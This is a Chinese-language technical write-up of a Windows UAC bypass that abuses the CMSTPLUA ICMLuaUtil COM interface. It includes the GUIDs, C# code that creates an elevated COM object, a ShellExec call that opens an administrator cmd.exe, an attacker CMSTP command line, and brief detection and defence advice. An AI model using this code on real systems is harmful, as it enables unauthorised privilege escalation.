Sharp4COMBypassUAC:通过指定的ICMLuaUtil 接口执行命令绕过UAC
字数 1394 2025-08-22 12:23:12
ICMLuaUtil接口绕过UAC技术详解
1. 技术背景
UAC(用户帐户控制)是Windows操作系统的重要安全机制,用于防止未经授权的程序以管理员权限执行操作。然而,某些系统组件和接口(如CMSTPLUA组件中的ICMLuaUtil接口)由于设计用途需要特殊权限,可能被利用来绕过UAC保护。
2. 关键组件分析
2.1 CMSTP.exe
- 全称:Connection Manager Profile Installer
- 功能:安装和配置网络连接管理器的配置文件(.inf和.cms文件)
- 常规用法:
CMSTP.exe "C:\VPNProfile.inf" - 攻击者用法:
CMSTP.exe /s "C:\path\to\malicious.inf"
2.2 CMSTPLUA组件
- 作用:在CMSTP.exe程序运行时管理用户权限请求
- 关键接口:ICMLuaUtil
- 位置:cmlua.dll
- 虚函数偏移:cmlua.dll+0x6360
3. ICMLuaUtil接口分析
3.1 关键属性
使用OleViewDotNet工具查看CLSIDs,搜索"cmstplua"可发现:
- Elevation属性中Enabled和Auto Approval均为True
- 这意味着该组件能够绕过UAC认证
3.2 ShellExec方法
- 通过调用Windows API ShellExecuteExW实现命令执行
- 这是绕过UAC的关键函数
4. 技术实现原理
4.1 核心思路
利用ICMLuaUtil接口的ShellExec方法,结合COM接口创建具有提升权限的COM对象,在不触发UAC弹窗的情况下启动管理员权限进程。
4.2 实现步骤
- 创建CLSID和InterfaceID实例
- 通过CoGetObject函数创建提升权限的COM对象
- 调用ShellExec方法执行命令
5. 代码实现详解
5.1 GUID定义
Guid clsid = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
Guid interfaceID = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
5.2 LaunchElevatedCOMObject方法
public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
{
string str = Clsid.ToString("B");
string pszName = "Elevation:Administrator!new:" + str;
BypassUAC_csharp.BIND_OPTS3 bind_OPTS = default(BypassUAC_csharp.BIND_OPTS3);
bind_OPTS.cbStruct = (uint)Marshal.SizeOf(bind_OPTS);
bind_OPTS.hwnd = IntPtr.Zero;
bind_OPTS.dwClassContext = 4U;
return BypassUAC_csharp.CoGetObject(pszName, ref bind_OPTS, InterfaceID);
}
pszName格式:Elevation:Administrator!new:{CLSID}BIND_OPTS3结构体:cbStruct:结构体大小hwnd:窗口句柄(IntPtr.Zero)dwClassContext:4表示CLSCTX_LOCAL_SERVER
5.3 CoGetObject导入
[DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
[return: MarshalAs(UnmanagedType.Interface)]
internal static extern object CoGetObject(string pszName,
[In] ref BypassUAC_csharp.BIND_OPTS3 pBindOptions,
[MarshalAs(UnmanagedType.LPStruct)][In] Guid riid);
5.4 ICMLuaUtil接口定义
[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
private interface ICMLuaUtil
{
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
void Method1();
// ... Method2-6省略
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
BypassUAC_csharp.HRESULT ShellExec(
[MarshalAs(UnmanagedType.LPWStr)][In] string file,
[MarshalAs(UnmanagedType.LPWStr)][In] string paramaters,
[MarshalAs(UnmanagedType.LPWStr)][In] string directory,
[In] ulong fMask,
[In] ulong nShow);
}
5.5 ShellExec调用
icmluaUtil.ShellExec("C:\\windows\\system32\\cmd.exe", null, null, 0UL, 5UL);
参数说明:
- file:程序路径
- parameters:命令参数
- directory:工作目录
- fMask:0表示窗口不显示
- nShow:5(具体含义需参考ShellExecuteExW文档)
6. 检测与防御
6.1 检测方法
- 监控CMSTP.exe异常调用
- 检查ICMLuaUtil接口的异常使用
- 关注不寻常的COM对象创建行为
6.2 防御措施
- 更新系统补丁
- 限制CMSTP.exe执行权限
- 监控和限制高权限COM对象的创建
- 启用增强的UAC设置
7. 总结
ICMLuaUtil接口绕过UAC技术利用了Windows系统组件的设计特性,通过合法的COM接口提升权限。这种技术具有隐蔽性强、不需要额外文件落地等优点,因此在渗透测试和红队行动中被广泛使用。防御方需要深入了解其原理,才能有效检测和防范此类攻击。